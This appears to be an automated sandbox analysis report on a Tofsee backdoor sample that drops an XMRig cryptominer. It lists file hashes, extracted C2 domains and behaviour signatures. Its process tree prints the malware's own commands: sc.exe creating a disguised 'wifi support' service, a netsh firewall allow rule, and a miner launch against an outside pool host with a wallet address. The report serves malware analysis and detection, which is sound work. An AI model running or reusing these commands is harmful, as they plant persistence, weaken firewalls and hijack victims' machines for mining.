Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-05-2023 11:39

General

  • Target

    file.exe

  • Size

    321KB

  • MD5

    bc7c2a8a4a55d3d8091b57b050721465

  • SHA1

    585d80c0eca34a12f2ac79e6e6d1c97c1bf6ab62

  • SHA256

    664804be369abbc16ab815f94b340fda7c9bfe43372d706c85ead10d609725ba

  • SHA512

    b2dbd260ce0577db7e15f19f44373910678f885745eb54a288788b384a799d0d72dd533f1d7c28da846b12170600dd6cff943b541e9bd8b5c119103c5cf97eb5

  • SSDEEP

    3072:4QZggfPJhkK5MZo43bw+2WMWYNRb/a+dK6TZHVuNCLPEqDYCYy5/9Q4kp7t:4APIXoWkWMWYNU+RTzHPEqDYDj

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zqotjqkv\
      2⤵
        PID:112
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fvvseqge.exe" C:\Windows\SysWOW64\zqotjqkv\
        2⤵
          PID:3068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zqotjqkv binPath= "C:\Windows\SysWOW64\zqotjqkv\fvvseqge.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4368
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zqotjqkv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zqotjqkv
          2⤵
          • Launches sc.exe
          PID:2964
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4700
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1772 -s 1300
          2⤵
          • Program crash
          PID:1556
      • C:\Windows\SysWOW64\zqotjqkv\fvvseqge.exe
        C:\Windows\SysWOW64\zqotjqkv\fvvseqge.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1504
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3056
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
              PID:4632
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1504 -s 532
            2⤵
            • Program crash
            PID:3084
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1772 -ip 1772
          1⤵
            PID:1160
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1504 -ip 1504
            1⤵
              PID:3832

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\fvvseqge.exe

              Filesize

              11.4MB

              MD5

              75bbedcfbed18b065ca4f7d035b2b0ce

              SHA1

              da4fc69e0b0574c11da8cf0e2e4385b873a63883

              SHA256

              7b00137680e219e648830a920f6fcc83d0e898f34c0500d577dfb06dd8ce85d8

              SHA512

              cbd3bbf3011b2b4dc2159cc4528615d9a164e84e7c0754d9b832d5d709f4a40eec796c393fc61d0c2b6dd31ad237df24a7e071731d6aeb2c4fa11fd86f271a7d

            • C:\Windows\SysWOW64\zqotjqkv\fvvseqge.exe

              Filesize

              11.4MB

              MD5

              75bbedcfbed18b065ca4f7d035b2b0ce

              SHA1

              da4fc69e0b0574c11da8cf0e2e4385b873a63883

              SHA256

              7b00137680e219e648830a920f6fcc83d0e898f34c0500d577dfb06dd8ce85d8

              SHA512

              cbd3bbf3011b2b4dc2159cc4528615d9a164e84e7c0754d9b832d5d709f4a40eec796c393fc61d0c2b6dd31ad237df24a7e071731d6aeb2c4fa11fd86f271a7d

            • memory/1504-145-0x0000000000400000-0x00000000006CE000-memory.dmp

              Filesize

              2.8MB

            • memory/1772-139-0x0000000000400000-0x00000000006CE000-memory.dmp

              Filesize

              2.8MB

            • memory/1772-136-0x0000000000850000-0x0000000000863000-memory.dmp

              Filesize

              76KB

            • memory/3056-165-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-171-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-146-0x0000000000AB0000-0x0000000000AC5000-memory.dmp

              Filesize

              84KB

            • memory/3056-147-0x0000000000AB0000-0x0000000000AC5000-memory.dmp

              Filesize

              84KB

            • memory/3056-149-0x0000000000AB0000-0x0000000000AC5000-memory.dmp

              Filesize

              84KB

            • memory/3056-150-0x0000000002600000-0x000000000280F000-memory.dmp

              Filesize

              2.1MB

            • memory/3056-153-0x0000000002600000-0x000000000280F000-memory.dmp

              Filesize

              2.1MB

            • memory/3056-154-0x0000000001DE0000-0x0000000001DE6000-memory.dmp

              Filesize

              24KB

            • memory/3056-157-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-160-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-162-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-161-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-164-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-163-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-166-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-141-0x0000000000AB0000-0x0000000000AC5000-memory.dmp

              Filesize

              84KB

            • memory/3056-167-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-168-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-170-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-144-0x0000000000AB0000-0x0000000000AC5000-memory.dmp

              Filesize

              84KB

            • memory/3056-169-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-172-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-173-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-174-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-175-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-176-0x0000000001DF0000-0x0000000001E00000-memory.dmp

              Filesize

              64KB

            • memory/3056-177-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

              Filesize

              20KB

            • memory/3056-180-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

              Filesize

              20KB

            • memory/3056-181-0x0000000007640000-0x0000000007A4B000-memory.dmp

              Filesize

              4.0MB

            • memory/3056-184-0x0000000007640000-0x0000000007A4B000-memory.dmp

              Filesize

              4.0MB

            • memory/3056-185-0x0000000002BE0000-0x0000000002BE7000-memory.dmp

              Filesize

              28KB

            • memory/4632-188-0x0000000001020000-0x0000000001111000-memory.dmp

              Filesize

              964KB

            • memory/4632-194-0x0000000001020000-0x0000000001111000-memory.dmp

              Filesize

              964KB

            • memory/4632-195-0x0000000001020000-0x0000000001111000-memory.dmp

              Filesize

              964KB

            • memory/4632-196-0x0000000001020000-0x0000000001111000-memory.dmp

              Filesize

              964KB

            • memory/4632-197-0x0000000001020000-0x0000000001111000-memory.dmp

              Filesize

              964KB

            • memory/4632-198-0x0000000001020000-0x0000000001111000-memory.dmp

              Filesize

              964KB